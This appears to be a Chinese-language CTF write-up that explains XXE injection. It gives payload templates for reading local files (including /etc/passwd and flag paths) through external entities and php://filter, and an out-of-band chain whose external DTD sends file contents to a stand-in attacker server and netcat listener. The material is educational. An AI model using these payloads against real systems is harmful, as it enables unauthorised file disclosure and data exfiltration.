CTF-XXE 漏洞解题思路总结

发布于:2025-08-06 ⋅ 阅读:(18) ⋅ 点赞:(0)

一、XXE 漏洞简介

XXE (XML External Entity) 漏洞允许攻击者通过构造恶意的 XML 输入,强迫服务器的 XML 解析器执行非预期的操作。在 CTF 场景中,最常见的利用方式是让解析器读取服务器上的敏感文件,并将其内容返回给攻击者。

二、核心攻击载荷 (Payloads)

根据靶机是否在响应中直接返回注入内容,攻击方式可分为“有回显”和“无回显”两种。

1. 有回显的 XXE (In-Band XXE)

这是最直接的情况,服务器会将读取到的文件内容显示在返回页面上。

基础文件读取

通过定义一个外部实体来加载本地文件,并在 XML 的某个字段中引用该实体。

Payload 模板:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ctf [

  <!ENTITY xxe SYSTEM "file:///path/to/your/flag">

]>

<root>

    <data>&xxe;</data>

</root>

关键点:

  • <!ENTITY xxe SYSTEM "file:///path/to/your/flag">: 定义一个名为 xxe 的实体,其内容来自指定的本地文件路径。

  • &xxe;: 在 XML 数据中引用该实体,解析器会将其替换为文件内容。

使用 PHP Filter 绕过

当文件内容包含特殊字符(如 <、>)导致 XML 解析失败,或靶机后端为 PHP 时,可以使用 php://filter 将文件内容进行 Base64 编码后输出,避免解析错误。

Payload 模板:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ctf [

  <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/path/to/your/flag">

]>

<root>

    <data>&xxe;</data>

</root>

使用方法:

  1. 发送 Payload。

  2. 将返回的 Base64 字符串进行解码,即可获得原始 Flag。

2. 无回显的 XXE (Blind XXE OOB)

当服务器不返回任何注入相关的数据时,需要采用带外攻击(Out-of-Band),让服务器主动将数据发送到攻击者控制的公网服务器上。

攻击流程:

  1. 准备公网服务器: 准备一台有公网 IP 的服务器,并监听一个端口(例如 nc -lvp 8888)。

  2. 构造两部分 Payload:
    a. 发送给靶机的 Payload:
    此 Payload 定义了两个参数实体,一个用于读取文件,另一个用于加载位于攻击者服务器上的恶意 DTD 文件。

<?xml version="1.0"?>

<!DOCTYPE ctf [

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.txt">

    <!ENTITY % dtd SYSTEM "http://your-attacker-server.com/evil.dtd">

    %dtd;

]>

<root><data>blind</data></root>

  1. b. 在攻击者服务器上创建 evil.dtd 文件:
    这个 DTD 文件会构造一个最终请求,将之前读取并编码好的文件内容(%file)作为参数,发送到攻击者服务器的监听端口。

<!ENTITY % send "<!ENTITY &#x25; exfil SYSTEM 'http://your-attacker-server.com:8888/?data=%file;'>">

%send;

  1. 接收 Flag: 在攻击者服务器的监听端口上,会收到一个包含 Base64 编码 Flag 的 HTTP 请求。

深度解析:为什么需要“两步走”的攻击?

这是一个关键问题。直接在同一个 DTD 块中完成“读取文件”和“发送数据”两个操作是行不通的,因为这违反了 XML 的规范。

  • 限制: XML 解析器在解析一个 DTD 块时,不允许在其内部的一个实体定义中,引用同一个 DTD 块中刚刚定义的另一个参数实体来构造外部请求。这是一种安全限制,防止了过于复杂的嵌套操作。

  • 绕过方法: 两步走的攻击巧妙地绕过了这个限制。

    1. 第一步(主 Payload): 让靶机先执行第一个任务——读取文件并存入参数实体 %file。然后,让它去请求外部的 evil.dtd 文件。

    2. 第二步(evil.dtd): 当靶机开始解析 evil.dtd 时,它进入了一个全新的解析上下文。在这个新环境中,%file 实体是一个已经存在、已知的值,而不是正在定义的。因此,evil.dtd 中的指令可以自由地使用 %file 的内容来构造新的 HTTP 请求,从而将数据发送出来。

简单来说,通过加载外部 DTD,我们欺骗了解析器,创造了一个新的执行环境,使得原本被禁止的操作变得可行。

三、CTF 解题通用策略

  1. 漏洞测试: 首先使用一个已知存在的文件(如 file:///etc/passwd)来确认 XXE 漏洞是否存在以及是否有回显。

  2. 路径猜测: 根据题目提示和常见配置,猜测 Flag 文件的绝对路径(如 /flag, /flag.txt, /root/flag.txt 等)。

  3. 优先直接读取: 总是先尝试最简单的有回显文件读取方法。

  4. 编码绕过: 如果直接读取失败,尝试使用 php://filter 进行 Base64 编码。

  5. 盲打带外: 如果确认无回显,采用 Blind XXE OOB 策略。


网站公告

今日签到

点亮在社区的每一天
去签到